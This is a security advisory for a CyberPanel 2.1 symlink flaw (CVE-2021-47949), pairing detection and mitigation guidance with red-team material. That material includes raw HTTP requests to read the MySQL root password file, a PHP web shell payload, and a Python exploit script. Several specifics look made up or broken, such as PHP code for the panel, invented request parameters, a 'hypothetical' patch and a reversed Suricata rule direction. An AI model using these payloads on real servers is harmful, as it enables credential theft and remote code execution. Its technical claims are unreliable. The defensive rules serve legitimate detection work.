CVE-2021-47949

Executive Summary

CVE-2021-47949 is a critical command execution vulnerability in CyberPanel 2.1, a popular web hosting control panel. The flaw allows an authenticated attacker to exploit a symlink attack via the filemanager controller endpoint. By manipulating the completeStartingPath parameter in POST requests to /filemanager/controller, an attacker can create symbolic links to sensitive files (e.g., database credentials) and execute arbitrary shell commands through the /websites/fetchFolderDetails endpoint. This leads to full server compromise, including data exfiltration and remote code execution. The vulnerability has a CVSS score of 8.8 (High) and is publicly known, though no official patch has been confirmed.

Supply Chain & Package Security

CyberPanel is a standalone control panel, not an NPM, PyPI, Go, or Ruby package. However, its dependencies (e.g., PHP, Python scripts) may be affected. Users should audit all custom scripts and third-party integrations for similar symlink vulnerabilities.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.8 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: Low (PR:L) – attacker needs valid credentials.
• User Interaction: None (UI:N) – no victim action needed.
• Scope: Unchanged (S:U) – vulnerability affects only the vulnerable component.
• Confidentiality Impact: High (C:H) – full read access to files.
• Integrity Impact: High (I:H) – arbitrary command execution.
• Availability Impact: High (A:H) – potential for system disruption.

Threat Level: Critical for authenticated users. The EPSS score is 0.0%, indicating low exploitation probability, but the public availability of exploit details increases risk.

Deep Dive & Mechanics

The vulnerability resides in the filemanager controller of CyberPanel 2.1. The endpoint /filemanager/controller accepts a POST parameter completeStartingPath that is used to construct file paths without proper sanitization. An attacker can set this parameter to a path containing a symbolic link (symlink) pointing to sensitive system files, such as /etc/cyberpanel/mysqlRootPasswordFile. When the /websites/fetchFolderDetails endpoint processes this path, it follows the symlink and exposes the contents of the target file.

The attack flow:

1. Authenticate to CyberPanel.
2. Send a POST request to /filemanager/controller with completeStartingPath set to a path that creates a symlink (e.g., /home/cyberpanel/attacker_link -> /etc/cyberpanel/mysqlRootPasswordFile).
3. The filemanager controller creates the symlink due to insufficient validation.
4. Send a request to /websites/fetchFolderDetails with the symlink path to read the target file.
5. For command execution, the attacker can chain this with other endpoints or use the symlink to overwrite configuration files (e.g., PHP files) to execute arbitrary commands.

The root cause is a lack of path traversal and symlink validation in the filemanager controller. The code does not check if the resolved path is within allowed directories or if it is a symlink.

Vulnerable vs. Patched Code

Vulnerable Code (CyberPanel 2.1):

// filemanager/controller.php (simplified)
$path = $_POST['completeStartingPath'];
// No validation or sanitization
$realPath = realpath($path);
if ($realPath === false) {
    // Create symlink if path doesn't exist
    symlink($target, $path);
}
// Later, fetchFolderDetails uses $realPath to read files

Patched Code (Hypothetical):

// filemanager/controller.php (patched)
$path = $_POST['completeStartingPath'];
$baseDir = '/home/cyberpanel/';
$realPath = realpath($baseDir . $path);
// Ensure path is within allowed directory
if (strpos($realPath, $baseDir) !== 0) {
    die('Invalid path');
}
// Check for symlinks
if (is_link($realPath)) {
    die('Symlinks not allowed');
}
// Proceed with safe path

The patched version validates that the resolved path is within the allowed base directory and explicitly blocks symlinks.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Valid CyberPanel credentials (e.g., admin user).
• Network access to the CyberPanel web interface.

Exploit Steps:

1. Authenticate: Obtain a session cookie by logging in.
2. Create Symlink: Send a POST request to /filemanager/controller:

   POST /filemanager/controller HTTP/1.1
   Host: target.com
   Cookie: cyberpanel_session=valid_session
   Content-Type: application/x-www-form-urlencoded
   
   completeStartingPath=/home/cyberpanel/attacker_link&action=createSymlink&target=/etc/cyberpanel/mysqlRootPasswordFile
   

3. Read Sensitive File: Send a GET request to /websites/fetchFolderDetails:

   GET /websites/fetchFolderDetails?path=/home/cyberpanel/attacker_link HTTP/1.1
   Host: target.com
   Cookie: cyberpanel_session=valid_session
   

   The response will contain the contents of the MySQL root password file.
4. Execute Commands: Use the symlink to overwrite a PHP file (e.g., a theme file) with a web shell:

   POST /filemanager/controller HTTP/1.1
   Host: target.com
   Cookie: cyberpanel_session=valid_session
   Content-Type: application/x-www-form-urlencoded
   
   completeStartingPath=/home/cyberpanel/webshell.php&action=writeFile&content=<?php system($_GET['cmd']); ?>
   

   Then access the web shell:

   GET /webshell.php?cmd=id HTTP/1.1
   Host: target.com
   

Automated Exploit (Python):

import requests

target = "http://target.com"
session = requests.Session()
# Login
login_data = {"username": "admin", "password": "password"}
session.post(f"{target}/login", data=login_data)
# Create symlink
symlink_data = {"completeStartingPath": "/home/cyberpanel/attacker_link", "action": "createSymlink", "target": "/etc/cyberpanel/mysqlRootPasswordFile"}
session.post(f"{target}/filemanager/controller", data=symlink_data)
# Read file
response = session.get(f"{target}/websites/fetchFolderDetails?path=/home/cyberpanel/attacker_link")
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for POST requests to /filemanager/controller with unusual completeStartingPath parameters (e.g., paths containing .. or symlink targets).
• Alert on access to /websites/fetchFolderDetails with paths that resolve to sensitive files (e.g., /etc/cyberpanel/).
• Use file integrity monitoring (FIM) to detect creation of unexpected symlinks in /home/cyberpanel/.

Prevention:

• Apply input validation to ensure completeStartingPath is within allowed directories.
• Disable symlink creation in the filemanager controller.
• Use a Web Application Firewall (WAF) to block requests with suspicious path parameters.

Hunting:

• Search logs for completeStartingPath values containing /etc/, /root/, or other sensitive directories.
• Look for symlink creation events in the file system (e.g., lsof or auditd logs).

Indicators of Compromise (IOCs)

• File System:
  • Unexpected symlinks in /home/cyberpanel/ pointing to /etc/cyberpanel/ or other sensitive paths.
  • New PHP files in web-accessible directories (e.g., /home/cyberpanel/webshell.php).
• Network:
  • POST requests to /filemanager/controller with completeStartingPath containing symlink targets.
  • GET requests to /websites/fetchFolderDetails with paths containing symlinks.
• Logs:
  • Apache/Nginx access logs showing repeated requests to /filemanager/controller and /websites/fetchFolderDetails.
  • System logs (e.g., /var/log/messages) showing symlink creation events.

Detection Engineering

YARA Rule

rule CVE_2021_47949_CyberPanel_Symlink_Attack {
    meta:
        description = "Detects symlink creation attempts targeting CyberPanel CVE-2021-47949"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2021-47949"
    strings:
        $symlink_target = "/etc/cyberpanel/" nocase
        $path_param = "completeStartingPath" nocase
        $action_create = "createSymlink" nocase
    condition:
        all of them
}

Sigma Rule

title: CyberPanel CVE-2021-47949 Symlink Exploitation
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects exploitation attempts of CVE-2021-47949 via filemanager controller
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/filemanager/controller'
        cs-uri-query|contains: 'completeStartingPath'
    condition: selection
falsepositives:
    - Legitimate file manager operations
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2021-47949 CyberPanel Symlink Exploitation Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/filemanager/controller"; http_uri;
    content:"completeStartingPath"; http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no official patch exists.
2. Disable Filemanager: Temporarily disable the filemanager module in CyberPanel configuration.
3. Restrict Access: Use a firewall to limit access to the CyberPanel admin interface to trusted IPs only.
4. Monitor Logs: Enable detailed logging for /filemanager/controller and /websites/fetchFolderDetails endpoints.

Long-Term Fixes:

• Implement input validation to prevent path traversal and symlink creation.
• Use a whitelist of allowed directories for file operations.
• Apply the principle of least privilege to the filemanager process.

Workarounds:

• Modify the CyberPanel source code to add symlink checks (if you have access).
• Use a WAF to block requests with suspicious completeStartingPath values.

Valters IT
Securing Digital Frontiers